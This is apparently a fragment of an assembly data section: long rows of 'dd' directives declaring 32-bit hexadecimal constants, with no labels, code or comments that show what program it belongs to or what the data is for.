		dd 80F4584Bh, 8098A687h, 81BD569Dh, 0D70D5338h,	0DD528235h
		dd 5D617626h, 32A50F0h,	0E00D064h, 0C4DD22EDh, 0F575AE59h
		dd 8521E6F1h, 19EF39C5h, 0CB4B80ECh, 1E0C7Eh, 0D4E52EF9h
		dd 6C3BDA69h, 9DE3A80Ah, 6D82A467h, 407A4566h, 928B7757h
		dd 9E37061Fh, 27CD0349h, 0B418CCE2h, 6E118BC4h,	0DEA900AEh
		dd 0D9A4B361h, 4601B15Eh, 8BF68D67h, 4C24ABDFh,	6C00846Eh
		dd 0AE6D11C7h, 1D397628h, 0C0799AE3h, 16C66131h, 0CE141401h
		dd 0CE7298h, 0AB76979Eh, 1188330h, 7562346Dh, 0CDF0DDAAh
		dd 7A278074h, 0A0785B73h, 63525407h, 0BE4848CDh, 0A7B06600h
		dd 193B908Fh, 50D58800h, 9AB2DF51h, 82C900AAh, 0C8CFDB01h
		dd 0DE1280FDh, 0D926A4B9h
		dd 0D2D9A91Dh, 304C17C0h, 0A1198AC2h, 96002590h, 0B9BED3C4h
		dd 19BBDC80h, 0E00B23F0h, 19F961h, 31DE8EFh, 0ED422F50h
		dd 430071A7h, 7B587077h, 3064B9B6h, 0AF19E81Eh,	83623369h
		dd 0C032390Ch, 174A65DBh, 8E50DFh, 0EC246E39h, 1A00E3FFh
		dd 582334E1h, 5457738Bh, 2755B73Eh, 305756ABh, 381D13h
		dd 8CCDC443h, 7C9D4A3Ch, 54498F0Ch, 45A6E06h, 4B0B8853h
		dd 0E50809Ch, 22F02041h, 300D192h, 3E0F08CAh, 647C9Bh
		dd 0D9C6D181h, 0B3E92F84h, 0B2B947C1h, 0F9D9ED4h, 0F8C38081h
		dd 5E767D2Bh, 0BF30BCF0h, 2EFB3A86h, 90E616h, 0C1965101h
		dd 1D3E0BD6h, 48020800h, 91E3F06Bh, 4B21923Dh, 5906EA8Fh
		dd 3DA388Eh, 6C373E53h,	1138ACE2h, 0EA951C75h, 1E1D7380h
		dd 0CCE31E5h, 5D7EB492h, 0A9916122h, 410B601Eh,	6B95809Dh
		dd 0F35CCF25h, 32B9DE34h, 0B7799775h, 20EB525Fh, 43748C3Dh
		dd 973C1C92h, 8081BBB9h, 0EE0F302Dh, 1F4A623h, 74C9CEE3h
		dd 8BBBF82Eh, 1F7FE34h,	9C1CE728h, 1E5FDD4h, 7C475002h
		dd 80CDB7F2h, 0DCFB9A26h, 33327811h, 214CCFCh, 6F682AD0h
		dd 5550A400h, 5D6E0BEAh, 0C06348F2h, 70E58F0Fh,	8671B7C3h
		dd 8CE2AEB8h, 3D73B918h, 3C430Fh, 7EB7501Bh, 0C4A7BFD8h
		dd 446C1200h, 5E8E0CEAh, 3CE04EFh, 0C070DB88h, 0ACF2DF55h
		dd 5BAFC100h, 0ABC0C7EAh, 2F510EA6h, 22A032DEh,	6FA58329h
		dd 7522B860h, 0A670566Eh, 32A73B96h, 49ADDB97h,	39046A07h
		dd 0C5E682B1h, 0CBE0F940h, 2730E200h, 0BFF9D25Ch, 0DC100083h
		dd 0D04D183Fh, 0A8EC0A0Dh, 39C83300h, 0B058799Eh, 0BB4A00B5h
		dd 25F7301Bh, 1E305432h, 51243AC0h, 0FD56A0Bh, 92B301DFh
		dd 0ECC2947Dh, 4D3093E8h, 161D1F17h, 0A4210EFEh, 9BC9E1F6h
		dd 123346D7h, 32324A4Dh, 27D2C47Fh, 25DC0600h, 8581BD03h
		dd 0EF1B008Eh, 5FC49735h, 2412D9C3h, 8AFA260Ch,	8956F08Ch
		dd 0C6811BE6h, 0EEB28304h, 34870680h, 893A5C24h, 0A553A0Ch
		dd 10C581E5h, 0C6ED830Eh, 74272C87h, 75681A3Ch,	19D41E23h
		dd 7138B780h, 58BA524Fh, 480076E9h, 835AD731h, 893804ECh
		dd 0EA10DF24h, 515E0B2Dh, 1FA2C057h, 73871E37h,	7F11459h
		dd 84E890Fh, 2D348B45h,	0FF19DA4Eh, 0DE5F269Eh,	26E9C3C4h
		dd 0A4D8FBB8h, 6A037C10h, 0D8ADA52Dh, 0D21BB0FAh, 0F297048Ah
		dd 0BEC70CB8h, 0A21DB8A2h, 4E8E7B4Dh, 46204091h, 0A5359225h
		dd 5900EE7Bh, 17D9C0C8h, 0A2AD3Ch, 19761B74h, 0B716BC64h
		dd 42AF2B07h, 4BF00223h, 390A144Eh, 6900242Ah, 0C45E877Eh
		dd 45002010h, 3C1A6461h, 5ED08F33h, 3A90B70Ch, 785044C1h
		dd 9AE71DBBh, 0DA2FFF3Dh, 95724250h, 0D7F8145Fh, 3846FACCh
		dd 5BACC920h, 9CE7B8DEh, 5450FC8Bh, 0B524400Ah,	5A000C74h
		dd 61E7C6F3h, 27B1EECh,	63D6ED1Bh, 9457830Fh, 2578007Dh
		dd 3CF3B818h, 7D00B994h, 0BBDFB591h, 95B2AA33h,	0E65711CAh
		dd 0C4B70BFEh, 856D6AFCh, 38C6DAE0h, 800900AFh,	0BF66E0E3h
		dd 6A5E3D1Dh, 0A1F0A2E6h, 9D504901h, 0A4115B4h,	0CFE59201h
		dd 904B376Ah, 3BFEFB6Dh, 7D3229B5h, 0EE0129BDh,	2F3DB529h
		dd 19BF6F81h, 78D1FFB1h, 21048EF6h, 0AE13ABC9h,	435A286Ah
		dd 0D890DB95h, 55395913h, 6005F772h, 26A5B50h, 0C57760BCh
		dd 4162B290h, 95BD01DFh, 0BE2D6F29h, 700C7E46h,	0A2479DE9h
		dd 40174212h, 306FEFh, 2838B969h, 4B8CCE9Bh, 0D84C8A6h
		dd 710046EAh, 2D2B69DBh, 197CCDCh, 0F823B354h, 3F4349AFh
		dd 31B8F534h, 504A2120h, 0E7FD26FBh, 0E9BD2B0Bh, 7288D414h
		dd 38054B5h, 0DB852613h, 4E75E689h, 92B2A20Eh, 0B2320FAh
		dd 2B02961Dh, 0A1182450h, 0D102F5A0h, 0F30E3585h, 5304CFF3h
		dd 0FA880F5Fh, 97FF64CCh, 0AC0068B7h, 27BE0EE3h, 0B2335E13h
		dd 810F080Ah, 9D0CA803h, 10A9F4E0h, 69A7A597h, 9FFA2CE4h
		dd 1578CAB1h, 921180ABh, 695BCD54h, 0D11049B9h,	0F782CB30h
		dd 0CEEB7F18h, 71E4B117h, 4FFA20EEh, 331EE218h,	7B822EA3h
		dd 0F65FF52Ch, 0A82817C2h, 9722DD73h, 78AF70F1h, 0A44552F4h
		dd 0EB93844Fh, 4978098h, 0BA735CDBh, 0F7804206h, 0E937E1Ah
		dd 0D1D0658Dh, 1F8E024Dh, 7724B5D4h, 0DFA6C550h, 53A283Dh
		dd 5FA89E7Dh, 0C8004AF2h, 49594F4Bh, 2F00AB45h,	23EA0DB5h
		dd 9F3BA2E1h, 5ED6B192h, 51D18B09h, 32CA033Eh, 0A3D8F401h
		dd 510017C6h, 5ACEF06h,	13769CC8h, 0FB327FB9h, 5D899D32h
		dd 0E93309FAh, 0DB3317ACh, 8B059C25h, 0E9961285h, 792E80DCh
		dd 13BAA86Fh, 0EF6D19C2h, 5FBF3243h, 0AC0E5BA5h, 599EC03Ah
		dd 0C6B7EAh, 92B15B3h, 34F7B93Eh, 0C8A42F09h, 44BDFA05h
		dd 0D1BF6026h, 47870323h, 0DA806866h, 2500843Eh, 0F23F282Ch
		dd 2E4163Ah, 97D0ABD8h,	4B72E961h, 1ECF8100h, 8B2DB9FCh
		dd 3FF6B8Dh, 3B275DF0h,	44D1E483h, 95100931h, 1A902879h
		dd 219FFE2Ch, 94CA082h,	7F04421Dh, 0F0EAEF80h, 38005A2Bh
		dd 9EB62253h, 0FE6E99D3h, 0CDB09F91h, 0F5813E6Ch, 65B1E42Fh
		dd 0CD2733B6h, 601764C9h, 7F673F83h, 89E4E3h, 0BB184779h
		dd 1020C4FAh, 0C165B939h, 2702C2E8h, 94E269FFh,	387CB77Dh
		dd 88406E00h, 0FCEAC156h, 0CE9FED95h, 0C2D31900h, 0B79DC02Bh
		dd 0EEB100ECh, 9888F2D5h, 0BD4DF716h, 5102DECh,	515F2727h
		dd 7AD62DF4h, 89BA60D2h, 9B4D5FFAh, 48A480BDh, 1261DDF2h
		dd 0A7880D0Ah, 0EC0B048h, 498698DDh, 0F74B0E09h, 4B510CBh
		dd 0B87BF9A4h, 0A2764E2Ch, 6AFAF4E3h, 0BB250B3Eh, 4C375FA1h
		dd 680EA580h, 1C43AF8h,	31CAE478h, 799B5h, 2D6A70BFh, 54508F3h
		dd 1AFCB510h, 0F767A08Ch, 3C3B1721h, 0A811AD1Ch, 8A508C14h
		dd 1B5F45D9h, 1CBD54BDh, 38F69C8Bh, 0FFE08D02h,	0C04E8720h
		dd 83246142h, 0B7FDE1D2h, 0B5900A8h, 66D0B441h,	0E7E1D326h
		dd 0E43D530Bh, 0BB8C000Ch, 2D2EFFEEh, 63023A61h, 371244CEh
		dd 0B2CDDD31h, 14F28C96h, 0F45FA2Dh, 0B704A03Fh, 214FEBD0h
		dd 0B9E295B8h, 27DE742Ah, 6C6235D6h, 0E259CDFDh, 0DD4BE95h
		dd 0E7F0F513h, 8EE8B152h, 0F1413431h, 3F5BA61Eh, 0F711CF49h
		dd 0C681A33Dh, 0EA153067h, 27DC52F0h, 43E6800Fh, 0EE100127h
		dd 0CDA281F8h, 268AFB15h, 0A6E7B5A0h, 0A7203AF5h, 96B47B2h
		dd 0F93CCB8h, 0E1E38E7Fh, 899857Ch, 0A1615AE0h,	7CD2CFB4h
		dd 0DC59A702h, 95298630h, 68AFC0F1h, 6C150EEEh,	58273790h
		dd 11F20130h, 23EC0A0Dh, 9719799Dh, 14E40ACDh, 0E85162h
		dd 9B9F3FE9h, 0D6B298D1h, 20F4EB26h, 0D81D9B02h, 31050E8Ch
		dd 0FD70AE8Bh, 16C98CCh, 0DE6625E6h, 4095417Ah,	0BD01DF91h
		dd 0EE290D27h, 0D78013FCh, 4CDDF32Fh, 0F4412606h, 5540D6A7h
		dd 0A051F40Eh, 1698F1E3h, 0E4F256Ah, 46D6EFD6h,	68DF0218h
		dd 0E28EA3D3h, 8DAA5798h, 0FDEA2D48h, 0F432007Eh, 0D8655D0Eh
		dd 0FBF865A1h, 729603B2h, 8F4FD11Ch, 2A53C2B9h,	0F1088h
		dd 3273BC9Fh, 11929170h, 8EA21206h, 708AA5DDh, 2B5B815Dh
		dd 0AC4A32BCh, 0CEB88029h, 7A54313h, 162391E3h,	1CDF0053h
		dd 0AF1257CCh, 548CAA9Eh, 2D613DB6h, 5199EC00h,	0CD5A8F0h
		dd 37A2C500h, 0FF39F9C1h, 0E0715043h, 12ED9C99h, 58D5AF61h
		dd 195882EAh, 7EE931D4h, 7BE0531Dh, 5D5B4025h, 0F9CE3FA9h
		dd 127D9455h, 0BAF2B752h, 3FFEE548h, 56BC3EE0h,	0E8A44047h
		dd 20ABF02h
		dd 0FC582505h, 0D58E40BAh, 8C003E12h, 831950B6h, 12F0AC3h
		dd 334AF45Ah, 431F1BDh,	0EEE385AEh, 4980D99Fh, 0BAA70860h
		dd 929BF39h, 54905AF5h,	31E7408Fh, 49005C22h, 172CFAE2h
		dd 5668B67h, 5FFBA3BBh,	0DD9BBE50h, 522FA7C1h, 3CDA7B5Bh
		dd 0ECC019C8h, 13ED6B9Ah, 6F618F26h, 5F4A2452h,	0D9299160h
		dd 9E9000CDh, 1602ECC5h, 0FB0E98BCh, 42D3BFF3h,	0D45B4B39h
		dd 610B5960h, 0F4B33EA0h, 5119D1D2h, 69FDFA03h,	0BD2B5B24h
		dd 0B0E84FD4h, 9D770E25h, 9A53DAD4h, 2D749E50h,	0B3F0E0DFh
		dd 10352827h, 1F3E25A8h, 0C0AEA9BDh, 0BF0C2751h, 0CE015484h
		dd 430F7D37h, 74383C41h, 0D5F0D480h, 0BE0091E4h, 5B193840h
		dd 2036680h, 9B8ACE71h,	41D4DA8Bh, 0C1142251h, 4B3D0D82h
		dd 91112ED8h, 760DD962h, 0DCFCEB67h, 54AC4B3Dh,	0A23FA6B5h
		dd 100775ABh, 0DF9D9D9h, 5061DB69h, 0FC3BE5DAh,	2A4203D8h
		dd 13FEE3DCh, 490A4EEh,	0FD2D1525h, 8C19BCF8h, 0FA5E8401h
		dd 5731F0B0h, 97086F24h, 894BD5F4h, 138C0F03h, 0F8E3D6C8h
		dd 1A481CBCh, 0FF1EC720h, 10F7195Bh, 97B70FC4h,	28CDDE60h
		dd 7ADD53B7h, 550017CEh, 15F2701Dh, 0B55144B4h,	5F9382F1h
		dd 205DF2F7h, 0C01D2A8h, 1C9C4EF8h, 6088EADBh, 0C32C1085h
		dd 0AF6FFC27h, 94D6ECDCh, 0FC69C472h, 0B5C4DCEBh, 0DDBA05A5h
		dd 0D7B2516Ch, 0F5CA2FD5h, 19BB5001h, 7A21E0ADh, 839E78Dh
		dd 4C001AA8h, 9FB4662Bh, 0A11315CBh, 303FDEF9h,	0F7C38174h
		dd 566B5D11h, 8F0D9B92h, 860F046Dh, 727F2689h, 0C4F8FAE8h
		dd 639A989Dh, 891E0F8Ah, 0C4A1DDC5h, 19726728h,	65EF9041h
		dd 0FED3AA78h, 66500C32h, 0DA810555h, 0F60BD605h, 4A65D5D5h
		dd 6901A06Eh, 5BF9535Dh, 5493CE8Ah, 7E11BDA1h, 0A51293A2h
		dd 0CA7DFD18h, 0D914C260h, 61604093h, 2D7FEF97h, 4640404Dh
		dd 2FDA1BF2h, 76CEF1C7h, 0A2238120h, 0D0A5EBE1h, 158D1DBh
		dd 60967771h, 0D157A0B4h, 0EB95EB61h, 5A1D6530h, 9B7409FAh
		dd 1077F3BAh, 270F96B5h, 6353FBBFh, 7B191859h, 0BF02E7A2h
		dd 0B60AE10h, 161BD7Eh,	9655F9B5h, 0B7D82A09h, 80181140h
		dd 0CDA45253h, 5F10B5ADh, 420437DDh, 0A2B71626h, 12D1B7FCh
		dd 9A98B502h, 937E578Fh, 0FB09CF53h, 40DFD260h,	46056CBh
		dd 0B1950BF5h, 594A528h, 0DD53ABE3h, 23816BEBh,	0FEC6121Bh
		dd 822B64CDh, 0CFDD2D04h, 1F98E084h, 0A7106F7Eh, 0EAE4C0FBh
		dd 0E42D9A6Eh, 3D3F2B51h, 95C680ADh, 0E6C1BAF1h, 5BA41720h
		dd 6E1092Dh, 0D99EE8F8h, 219605DCh, 16E9CAA4h, 0D28BB37h
		dd 63B00A3h, 0C2806021h, 8D24091Fh, 6184FB45h, 7DE2C18Bh
		dd 0EA87BC03h, 0D2C98555h, 0D1BC2F49h, 0D019DC2h, 2CAC9004h
		dd 0A5C5C31Dh, 970EBDBh, 0E5224F55h, 0EE7731E5h, 7AC6E9ABh
		dd 6D27017Ch, 7E6BDC0Ch, 4D031846h, 0B2D835BAh,	0C41D6822h
		dd 0BED92BDEh, 0A6034D7Ah, 0FE3D8F60h, 3440587Ah, 4F55EC29h
		dd 0FE34FE1Ah, 8D05EF6Bh, 4E270ADh, 81C9FDB5h, 1D157Bh
		dd 9BE6090h, 171E51E4h,	0C4BB8080h, 7C7E4F1Ch, 0DBDD10B5h
		dd 0BADF07EEh, 24BD312Fh, 0BC9BF03h, 2D1D509Fh,	0F1C214EFh
		dd 0CCCC5DDCh, 0D461BD25h, 9DE353A1h, 38F506BAh, 4BFFF869h
		dd 807D9BD1h, 8E3E84D9h, 0DC2702E1h, 1A39BD33h,	4A0C1C75h
		dd 0C7F7ED84h, 5FEBE726h, 6ACEFA18h, 0F9B025Bh,	33474A80h
		dd 46FC8676h, 3FB9A34Ah, 2429929Dh, 8784FB6Fh, 2D1B2BEh
		dd 5F66B351h, 0DABEC950h, 0FE5AA06Fh, 0B5D9EE97h, 4250E453h
		dd 0AD490FF1h, 0F78D34h, 9002D7EBh, 0C4BAEE9h, 3510F38Bh
		dd 59B662D9h, 6BB05D18h, 5073599h, 0F1E276E7h, 0EADCA3C1h
		dd 12E8A1CBh, 72154810h, 43FD1900h, 838803EFh, 55577E0h
		dd 0FB1280C7h, 0D5EE824Dh, 5669CAFDh, 1786AEFh,	0B35030BAh
		dd 3B5F3A99h, 0B85A1991h, 23C6C072h, 14E175Dh, 0BBA11561h
		dd 888876EDh, 2D07B95Eh, 81E006DCh, 43D47EBh, 0BD0139D1h
		dd 0B5E8B821h, 0F1E90DBBh, 0D41E3C1Dh, 98FC7F4Ah, 0EC3FC200h
		dd 84429DDCh, 5F960129h, 0D283A04h, 0EC2639Fh, 27EE4810h
		dd 801161B4h, 0A62EF7DBh, 301CF25Fh, 393B1976h,	0CC80855Fh
		dd 35C2B7FBh, 254152BDh, 0E8CCFEBFh, 0F541E264h, 0BE1094FBh
		dd 72F85D09h, 23D161BDh, 7A158501h, 0C8B62645h,	38002DE2h
		dd 9271DF4Bh, 0BA5A6731h, 0B7B186E8h, 2E306128h, 36480604h
		dd 0BB1EBAB8h, 25C3E611h, 9D5C9162h, 4467CA40h,	62EC0225h
		dd 4756C630h, 20272902h, 8CBFC82Bh, 485604Eh, 0BDE3C1FBh
		dd 73DF912Ch, 0ED107748h, 7522620Ch, 9746E42Eh,	5A57B512h
		dd 8D5219Eh, 0B7AD50A5h, 8AC698EEh, 456B0E81h, 59332B3Eh
		dd 56B88CB3h, 2F208D5Eh, 449831BCh, 14972479h, 9186C45Ch
		dd 0D9801904h, 11C6B17Eh, 2B254122h, 0D184F6F2h, 6F88174Eh
		dd 4D7A0352h, 6A666D02h, 0F0E6EE84h, 0E721E112h, 6E603162h
		dd 0A7940F85h, 0F55EFEB5h, 89D9DDA5h, 0E208B935h, 0C7C298A1h
		dd 0D8620104h, 9FE5CF89h, 3AEFE032h, 0CD580997h, 64B4C0F5h
		dd 0FC4F2FA4h, 0E0E124B6h, 0FD74F058h, 14127024h, 0C8E9B813h
		dd 0B30526F8h, 659D31F5h, 55B59352h, 0F0FAE66Fh, 0EA63B6h
		dd 8E22FBB9h, 718D315Dh, 2CF60B4Bh, 0DF27E9D4h,	930031B7h
		dd 7119BEA8h, 8C960E84h, 5E9B531h, 0E3C0DFD6h, 9EE43Ch
		dd 4EB8CDF1h, 6953755Ch, 0DC9FF325h, 0D4251350h, 3CCCAFD2h
		dd 0E3CB3C81h, 8262ADCEh, 5C250985h, 25AFEA7Fh,	4DEB6465h
		dd 66E141CBh, 0B83ED5BBh, 5109AFAEh, 0FABAC443h, 4700157Bh
		dd 0AAC11651h, 0E5301D28h, 72C27625h, 7C7B97B8h, 6F30F0h
		dd 2FD7FE79h, 60B34321h, 0D266BF04h, 62BF3BB6h,	69201055h
		dd 79305Bh, 9D5F2549h, 0E568F153h, 0BC7C4202h, 0DF95313Eh
		dd 42FD47CAh, 70837BD9h, 0B604C2D9h, 0FE5EA07Eh, 651F88BFh
		dd 0C9E4CD00h, 0E1C10FCBh, 3CE4B790h, 70207216h, 5FE532AEh
		dd 9751415Ch, 0B8F6F915h, 3A8902BDh, 957DD5FBh,	0C8A4DDDBh
		dd 0CF038189h, 8FE74016h, 450903DAh, 71F8AB8Dh,	571B447Ah
		dd 0D8BD09BEh, 0F2E78A01h, 0ABA42E8Ch, 22B92085h, 0DE8B5609h
		dd 0BC4E705Fh, 0D125DC86h, 0DD5EC946h, 0B6EE84C3h, 3E11E7B4h
		dd 0C22F0DB3h, 800118ACh, 0A66ED5F3h, 0C5BD124Ch, 7C9457E2h
		dd 50BC4402h, 0C57E880Fh, 0BE9DD0C9h, 7995DC33h, 5B2E92h
		dd 0FC68133Ah, 0A94BDF5Ah, 3FD424F5h, 17607856h, 51A29D8h
		dd 0BF8D010Eh, 0B8046156h, 19A89ED3h, 0E00289D2h, 0B048617h
		dd 1E2845F4h, 37ACAEC4h, 0F6B2D3h, 53DC3AA0h, 0B7E32C66h
		dd 0E997CD73h, 0CA4CE3F5h, 0A0600B2h, 8F75F034h, 1301FBF8h
		dd 355DC9FEh, 671BCE1h,	5B9FD23Bh, 5E2D2A5Ch, 0A102F66Dh
		dd 0C5711BBBh, 2D485C75h, 0BA612B4Fh, 0D22D722h, 34810F17h
		dd 36D9AF9Ch, 5467F2Bh,	7A7F319Ah, 61A80BAAh, 0F4B5D593h
		dd 64A8907h, 98E099E6h,	0B92F9529h, 5237DE07h, 5FFDC25Fh
		dd 35554C32h, 3EF30051h, 12BB20E3h, 6FCC5413h, 2620D7A8h
		dd 0ACC98B5h, 33500E7h,	9B7B9E0Eh, 0B302C4D3h, 0BE431613h
		dd 0F2A44002h, 34D4C42Ah, 5FBAB224h, 80C3C7A9h,	5090F59Eh
		dd 71259D23h, 2244CE04h, 68E0870Fh, 674AEE09h, 3BD87A3Fh
		dd 0B2CF7849h, 6E0200ADh, 3B633D32h, 0EB7F4AC6h, 7D98FC36h
		dd 2506115h, 2ED88B52h,	0F1BF5502h, 2019F71Fh, 68B426F5h
		dd 6145859Eh, 0D1C0399Bh
		dd 0A16AE8D7h, 1790202h, 7D03B595h, 53AF8F4Dh, 9DB650CBh
		dd 0BFEF6402h, 57192CE6h, 5EBED5E5h, 0A301777Bh, 3C4F0898h
		dd 0DC252B50h, 0BE7964AEh, 0F0A0016Fh, 8B4F2673h, 800AC0A2h
		dd 0D6273ECBh, 2C482E04h, 0CFACFA8Bh, 370415A1h, 9DC9B07Ah
		dd 2ECE0B2Dh, 0A178118Eh, 0E38905A5h, 0ABD7503h, 1732104h
		dd 78FBF5BBh, 1D0FAA0Dh, 69897F1Bh, 9500FFF1h, 8C25A4AAh
		dd 0D18300C7h, 5AB3DDE4h, 3A97EE30h, 85C1353Ah,	491D2718h
		dd 9D1BA37h, 0D66F803Eh, 0C0EAD87Dh, 70539786h,	1B9DCB3Dh
		dd 8068DA6Ah, 3C7FE36Bh, 3D940EE0h, 0A0339589h,	0BF0496D1h
		dd 451EFBA1h, 0AB51D7FFh, 0DFC0EE6Dh, 3D7420Eh,	80605363h
		dd 6C38E2CFh, 4C61C005h, 912F55Fh, 7C31E706h, 99AF84Bh
		dd 31C215C8h, 2807F5Eh,	0F7BF5ACAh, 18E9312h, 0C0FFDFBAh
		dd 0DB6C567Dh, 28B1091Ah, 0DED1CCCAh, 0ABE0F900h, 74F3E7F8h
		dd 0AED917DDh, 228A1256h, 205C5F55h, 1BB8FC64h,	6D0E0D6h
		dd 7AD45BB7h, 0E6809B4Eh, 2525170Ah, 603DC2DDh,	971C85E7h
		dd 1744A5CDh, 0F6726060h, 0FBB8554Eh, 0AB76CA25h, 628EF46Bh
		dd 0A3D05061h, 6AEE5B4Bh, 4B604EF2h, 1CF9F18h, 2675C11Bh
		dd 31660DC7h, 6B362B64h, 0D5A48213h, 6B6AADC9h,	2B24676Fh
		dd 2BFC2D59h, 54E7D9A5h, 0A592DD09h, 4735759Ch,	3C801B91h
		dd 0CF711286h, 112B5D17h, 0BB797633h, 144BE04Fh, 986302ECh
		dd 0DE89B9C8h, 20EA44E0h, 80B6D9BFh, 0F1DFCB79h, 0A997265Ch
		dd 0D6AB76FFh, 0AF121546h, 589E348h, 2949B589h,	7B0339BFh
		dd 6EAE1495h, 66450B40h, 0BBADA0FEh, 5C18A056h,	0C84BB00Dh
		dd 77249378h, 55015591h, 603A2940h, 242F4031h, 0B1138079h
		dd 6E4E4341h, 966A36DDh, 0DA4A408Bh, 0BDB230EBh, 6851461h
		dd 7D08820Fh, 2028789Fh, 5B5F2575h, 4AAAAACh, 1E0D2111h
		dd 30452AC1h, 51DF8B00h, 4E625895h, 0F2E3FC04h,	0B0D72B1Ah
		dd 4B59BDD5h, 0BB359C10h, 0CB3A709h, 55C77D7Fh,	0E9D8B380h
		dd 0E3FFF43Dh, 92C1DB2Fh, 0C36E9729h, 39C909C8h, 0D626192Dh
		dd 0CE5529F2h, 0C28A4EECh, 8EAE356Eh, 0F9A58DC4h, 54BB02FFh
		dd 500A6A68h, 645DBCC9h, 5A7EC067h, 0DE04DAA0h,	0CCFFDC86h
		dd 0D8E089FFh, 7E4A7C64h, 8A64D61Bh, 0E532D70Fh, 444555h
		dd 474479D5h, 2E76935Dh, 0FB5A6995h, 0ACE84E00h, 813537B5h
		dd 55D1912h, 29E7641Fh,	104A44B0h, 6B42AEC9h, 549F42DBh
		dd 68BF407Bh, 0B15F77B3h, 5F2559E3h, 0DD3753ABh, 0EE16B480h
		dd 2DD6FAACh, 4A614952h, 0BE600015h, 705F01AAh,	11B96620h
		dd 0EAA35538h, 96253012h, 72BC89B9h, 0A7D9894Ah, 560BADD9h
		dd 0FCADF0C9h, 88585AC0h, 4C009E67h, 3F36D2EFh,	45216F0h
		dd 2567A189h, 6DDC81ADh, 0A91D042Eh, 31204DD6h,	1CCB81D1h
		dd 6537D014h, 0F827C365h, 0CB549581h, 15B003DCh, 0D6A5CC6Ah
		dd 2A4D02A2h, 62942FE0h, 0C8D94E08h, 0A37D76F1h, 0B6CA6A1Dh
		dd 780D2382h, 13407E37h, 3D68A0F9h, 0CD3E2C41h,	55616BB6h
		dd 843FD88Ah, 0BCDDE9A7h, 980FC14h, 0B509AADFh,	56284257h
		dd 1446D603h, 0C4E35Bh,	0A4192B45h, 1676C82h, 2EF93C46h
		dd 0A1BA0E07h, 0F7808BECh, 0D7381EEBh, 0DEE00B9h, 31532515h
		dd 2497D9BDh, 38AEBB0Ch, 0F35816h, 2ED58D09h, 0F49BA823h
		dd 0F2020B73h, 0CA50F18Bh, 0B482DD84h, 8A070FD9h, 0D6037E5Bh
		dd 0A10E1A46h, 218270B4h, 6A40C70Fh, 0C28304F1h, 4BCCFD80h
		dd 0B688604Ah, 0AD720041h, 0BE49F4AFh, 5202FE8Fh, 0B3906136h
		dd 0CB3C5CFAh, 6C5E6002h, 0C48EED77h, 82A0601Ch, 765D0290h
		dd 97EB1B8h, 2A56B862h,	7D6AF562h, 6FE0F2CDh, 5C15BF66h
		dd 0AF4F0B33h, 4ED4B14h, 67A0454Fh, 28A2AB9h, 0EBB09391h
		dd 15058F04h, 210BAC12h, 1BB0E89h, 8157A2E0h, 580452EFh
		dd 71E46734h, 79801EBCh, 240E290Ch, 0E6104E00h,	0BAFF1AC1h
		dd 0F4A7F8CFh, 1A1D5BF1h, 7AD79714h, 43BF6470h,	4B57B8FCh
		dd 451231EBh, 0D0C5042Ch, 608D30EBh, 7700F22Ah,	0D8AB80F6h
		dd 287E0C58h, 1A82403Eh, 325B1CC0h, 8DF39603h, 3B2BF0A9h
		dd 892A22E1h, 0BBA03BF1h, 0B50116D1h, 0E9504691h, 9D816776h
		dd 0A6FF45Fh, 7BAC8B5Fh, 9642097h, 6094257h, 563C7E1Ah
		dd 0D78183D1h, 105B9C37h, 4B2B37B5h, 2854174Bh,	0A70902E0h
		dd 90763065h, 382FD33Ch, 2133E931h, 342EFD8Ah, 2DA30557h
		dd 8262BE21h, 0E1A9291Ch, 0F516525Bh, 15F3C10h,	71FCDB81h
		dd 612E1EF8h, 35FD94Ah,	0EF26026Ah, 3A25A8B0h, 919BB555h
		dd 69338216h, 5416093h,	0ACB9800Bh, 33BE0F70h, 0E5C204DEh
		dd 0E0638954h, 0CDB71EE7h, 6018444Ah, 17120F46h, 0A0FC4C40h
		dd 0C04F2BE7h, 5F82B2DBh, 0C4FDBD30h, 0CE6A03DDh, 0EF131A6Dh
		dd 694B9290h, 0BDD5BB03h, 9C9D700Eh, 5BD0C2FAh,	0DA484F5Ch
		dd 7334B509h, 0A36D692Ch, 0F197DFC0h, 8C504F84h, 9D102B01h
		dd 5B253051h, 0E0C2E26Dh, 0D9F6E057h, 363A9703h, 9FDCD074h
		dd 0E49DF77Eh, 929B5CBh, 97CAD0AAh, 2549CF9h, 0C6E14BDh
		dd 0E6D56234h, 0FA4E9559h, 1D44696h, 57600D35h,	3F5A50B3h
		dd 82008BB2h, 1343C161h, 0CB056C66h, 26BD8531h,	0B21152FEh
		dd 0BDD5B7B0h, 899441AFh, 2E2C55B5h, 97679638h,	0E98775BDh
		dd 0A9100129h, 9DF2A1FAh, 1314EA04h, 293F0FA0h,	849BB80Eh
		dd 0AB32C19Dh, 307DC22Dh, 0AA1302A8h, 6212E3EBh, 418D7302h
		dd 0E447DD23h, 0BB05D111h, 2C555F3h, 25A99DA3h,	1193E757h
		dd 2BF455D4h, 448E0A28h, 0C3008104h, 594CCEAh, 4D2AE680h
		dd 0D55AC161h, 8119DBBBh, 8E0FD55Dh, 0B34F1C32h, 277980FBh
		dd 252DBE4h, 9634E09Ch,	4C5C18BCh, 45C3727h, 0AFE1B4A0h
		dd 0C44A45E2h, 8A6EFE66h, 57F46F16h, 8434BF39h,	26106FADh
		dd 98B05A01h, 55D49D31h, 2C8F1869h, 6086002Ah, 3F4F01AFh
		dd 4B009B53h, 0A21FEC90h, 1C95D0D9h, 0BA318DDBh, 5F257CC9h
		dd 6C9F66C6h, 88904BC7h, 0C5BDBC15h, 0FCD43B62h, 0B7FCB090h
		dd 6A12C75Ch, 0BF232F6h, 0E52C677h, 1668A8B3h, 0E8DECD84h
		dd 0DDF687D1h, 0C0C088F5h, 3656A7h, 0D6530C9Bh,	5250EE39h
		dd 29C17EE5h, 7D38F88Ah, 0E997C34Ah, 712151F9h,	2EFC6ED2h
		dd 0D1A59A5Fh, 9DBBC4DEh, 42358Ch, 83C50F8Fh, 0A6E1BFCFh
		dd 8960F916h, 0CCFC7FEDh, 0A845741Dh, 0EA6012BEh, 27E11404h
		dd 266E903h, 118CAF85h,	0F61500A4h, 43945E96h, 230B9AB4h
		dd 857684D1h, 99BAF9D3h, 0F4F66BF9h, 0F830EA5Bh, 0B714459Dh
		dd 0F47ACF53h, 0C75ACB78h, 0B76BF401h, 810FDC61h, 0DC56668h
		dd 0FBD7A42Ah, 4A3E63B5h, 7BB4DD0Ch, 0C101B76Ah, 3EE04623h
		dd 10A420B2h, 1451FD16h, 98DBDD17h, 98FD4189h, 2FBD23D2h
